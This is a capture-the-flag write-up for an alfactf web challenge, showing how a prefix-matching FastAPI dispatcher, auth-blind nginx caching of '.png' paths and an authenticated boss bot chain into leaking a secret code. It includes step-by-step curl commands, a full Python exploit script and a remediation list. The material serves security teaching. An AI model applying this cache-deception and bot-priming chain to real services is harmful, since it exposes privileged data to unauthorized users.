webfreehard

Никто, конечно, не чиллил

alfactf

Task: an intranet web service exposed a boss bot, a custom FastAPI dispatcher, and nginx caching in front of authenticated APIs. Solution: turn boss-only JSON endpoints into fake .png paths, let the authenticated bot prime nginx cache, then reuse the leaked vacation code to trigger the flag endpoint.

$ ls tags/ techniques/
route_suffix_bypasscache_deceptionauthenticated_cache_priminginternal_bot_abuse

Никто, конечно, не чиллил — alfactf

Description

Никто, конечно, не чиллил

Сервис: noonechilled

The target was a corporate intranet service at https://noonechilled-gvgof6lm.alfactf.ru. Source code was provided, and the goal was to recover a boss vacation code and use it as an employee to reach the flag.

Short Summary

This challenge was a four-bug chain:

  1. a custom dispatcher matched only a route prefix and ignored trailing path segments,
  2. nginx cached any URL that looked like a static file without varying on authentication,
  3. the boss bot fetched attacker-supplied image URLs with its authenticated session,
  4. a valid boss vacation code could be submitted by any employee to deactivate their account and receive the flag.

Together, these issues turned a boss-only API response into a public cached .png URL.

Reconnaissance

The Docker topology in docker-compose.yml immediately exposed the interesting trust boundaries:

  • the public frontend sits behind nginx,
  • backend API requests are served from http://nginx / http://backend,
  • the boss bot also talks to API_BASE_URL=http://nginx,
  • the bot credentials are [email protected] / WhiteboxBossPassword123! in the local compose file.

That suggested two useful directions: look for proxy/cache behavior in nginx, and inspect whether the bot can be induced to fetch attacker-controlled URLs from inside the Docker network.

Root Cause Analysis

1. Custom dispatcher suffix bypass

The main routing bug is in backend/app/api/http_dispatch.py:

def match(self, method: str, segments: list[str]) -> dict[str, str] | None: if method != self.method or len(segments) < len(self.pattern): return None params: dict[str, str] = {} for part, segment in zip(self.pattern, segments): if isinstance(part, PathParam): params[part.name] = segment continue if part != segment: return None return params

RouteSpec.match() rejects only shorter paths. It never requires len(segments) == len(pattern), so the comparison stops after the route-length prefix and silently ignores extra trailing segments.

That means all of the following match valid authenticated API routes:

  • /xhr/api/auth/me/cachetest123.pngGET auth/me
  • /xhr/api/auth/vacation-code/leakboss124.pngGET auth/vacation-code

This is the primitive that lets API endpoints masquerade as static files.

2. nginx caches static-looking URLs without auth awareness

deploy/nginx.conf contains this logic:

location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|webp|woff2?)$ { try_files $uri @cache; } location @cache { proxy_pass http://backend; proxy_cache mycache; proxy_cache_key $scheme$request_uri; proxy_cache_valid 200 10m; add_header X-Cache-Status $upstream_cache_status always; }

Any request ending in a static extension is routed into @cache if no real file exists. The cache key is only $scheme$request_uri, with no cookie, auth header, or user identity. So if an authenticated user fetches /xhr/api/auth/vacation-code/leakboss124.png, nginx will happily cache the boss-only JSON response and later return it to an unauthenticated visitor.

I verified the behavior with GET /xhr/api/auth/me/cachetest123.png:

  • first authenticated request: X-Cache-Status: MISS,
  • second unauthenticated request: same JSON body, X-Cache-Status: HIT.

3. Boss bot as authenticated cache primer

The bot is exactly what was needed to populate the cache with a privileged response.

Relevant code paths:

  • boss-bot/auth.py: the bot logs in and keeps an authenticated aiohttp session,
  • boss-bot/chat_processor.py: every incoming message is scanned with _process_static_urls(...),
  • boss-bot/browser_emulator.py: any http:// or https:// URL whose filename extension looks like an image is fetched.

The URL filter is extension-based only:

url_pattern = r'https?://[^\s]+' ... extension = filename.split('.')[-1].lower() if '.' in filename else '' ... image_extensions = ['png', 'jpg', 'jpeg', 'gif', 'svg', 'ico', 'webp']

The fetcher then performs a real authenticated GET request:

async with self.session.get(url, headers=headers, allow_redirects=False) as response:

Because docker-compose.yml sets API_BASE_URL=http://nginx, the bot can reach internal URLs such as:

http://nginx/xhr/api/auth/vacation-code/leakboss124.png

So a chat message can make the boss bot request a boss-only API endpoint through nginx, while nginx mistakes the path for a cacheable image.

4. Sensitive endpoint and flag path

backend/app/api/auth.py exposes a boss-only vacation code endpoint:

async def get_vacation_access_code(current_boss: User): return {"code": generate_vacation_code(settings.secret_key, str(current_boss.id))}

backend/app/api/users.py accepts any active boss vacation code and returns the flag after deactivating the current employee account:

provided = vacation.code.strip().upper() is_valid = any(provided == generate_vacation_code(settings.secret_key, str(boss.id)) for boss in bosses) ... return {"message": "Аккаунт деактивирован. Приятного отпуска!", "data": {"flag": "alfa{******REDACTED******}"}}

Once the bot leaks one valid boss code, the challenge is solved.

Exploit Chain

Step 1: register an employee account

Only employees may self-register, so start by creating one:

curl -i -s -c user_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"Passw0rd!824cf9df","display_name":"solver_ce76bc94","role":"employee"}' \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/auth/register'

Why it works: auth.register() explicitly allows only role == "employee" and sets auth cookies for the new user.

Step 2: open the DM with the boss

curl -s -b user_cookies.txt -X POST \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/chat/rooms/ensure-boss-dm'

Returned room used during the solve:

97abc22b-3593-4477-ac5f-7a18ef54756a

Why it works: the route exists in the custom dispatcher as POST chat/rooms/ensure-boss-dm, which creates or returns the employee/boss direct-message room.

Step 3: send an internal image URL to the boss bot

curl -s -b user_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"body":"привет босс, глянь http://nginx/xhr/api/auth/vacation-code/leakboss124.png"}' \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/chat/rooms/97abc22b-3593-4477-ac5f-7a18ef54756a/messages'

Why it works:

  • the greeting helps the bot process and respond quickly,
  • the bot extracts http://nginx/...leakboss124.png as an image URL,
  • it fetches that URL with the authenticated boss session,
  • due to prefix route matching, the path still hits GET /auth/vacation-code,
  • due to nginx cache rules, the boss-only JSON is cached under a public .png URL.

Step 4: fetch the public cached response

Wait a few seconds, then request the same path from the public service:

curl -i -s \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/auth/vacation-code/leakboss124.png'

Observed response:

  • X-Cache-Status: HIT
  • body: {"code":"TWDCN7XNTDNSHV7FVE4K"}

Why it works: nginx reuses the cache entry keyed only by the request URI, so the second request does not need any authenticated cookies.

Step 5: submit the stolen vacation code

curl -i -s -b user_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"code":"TWDCN7XNTDNSHV7FVE4K"}' \ 'https://noonechilled-gvgof6lm.alfactf.ru/xhr/api/users/me/vacation'

Observed response:

{"message":"Аккаунт деактивирован. Приятного отпуска!","data":{"flag":"alfa{chilL_R3aRm_chIlL_R3ARM_cHill_RearM_ChilL}"}}

Why it works: POST /users/me/vacation checks whether the submitted code equals any active boss vacation code. The leaked code satisfies that condition, so the employee account is deactivated and the flag is returned.

Reproducible PoC Script

#!/usr/bin/env python3 import re import time import requests BASE = "https://noonechilled-gvgof6lm.alfactf.ru" EMAIL = "[email protected]" PASSWORD = "Passw0rd!824cf9df" DISPLAY = "solver_ce76bc94" LEAK_PATH = "/xhr/api/auth/vacation-code/leakboss124.png" def main(): s = requests.Session() r = s.post( BASE + "/xhr/api/auth/register", json={ "email": EMAIL, "password": PASSWORD, "display_name": DISPLAY, "role": "employee", }, ) if r.status_code not in (200, 400): raise SystemExit(f"register failed: {r.status_code} {r.text}") r = s.post(BASE + "/xhr/api/chat/rooms/ensure-boss-dm") r.raise_for_status() room_id = r.json()["id"] print(f"[+] room_id = {room_id}") body = { "body": f"привет босс, глянь http://nginx{LEAK_PATH}" } r = s.post(BASE + f"/xhr/api/chat/rooms/{room_id}/messages", json=body) r.raise_for_status() print("[+] message sent to boss bot") for _ in range(10): time.sleep(2) r = requests.get(BASE + LEAK_PATH) if r.headers.get("X-Cache-Status") == "HIT": code = r.json()["code"] print(f"[+] leaked code = {code}") break else: raise SystemExit("cache was not primed in time") r = s.post(BASE + "/xhr/api/users/me/vacation", json={"code": code}) r.raise_for_status() text = r.text print(text) m = re.search(r'alfa\{[^}]+\}', text) if not m: raise SystemExit("flag not found") print(f"[+] flag = {m.group(0)}") if __name__ == "__main__": main()

Remediation

  • Require exact route length matching in the custom dispatcher.
  • Never cache authenticated API responses under extension-based rules meant for static assets.
  • Include auth state in cache policy or fully disable caching for /xhr/api/.
  • Restrict bot URL fetching to an allowlist and block internal hostnames such as nginx, api, and RFC1918/internal destinations.
  • Do not let a boss-only secret be replayed by lower-privileged users without a stronger binding to the requesting account.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups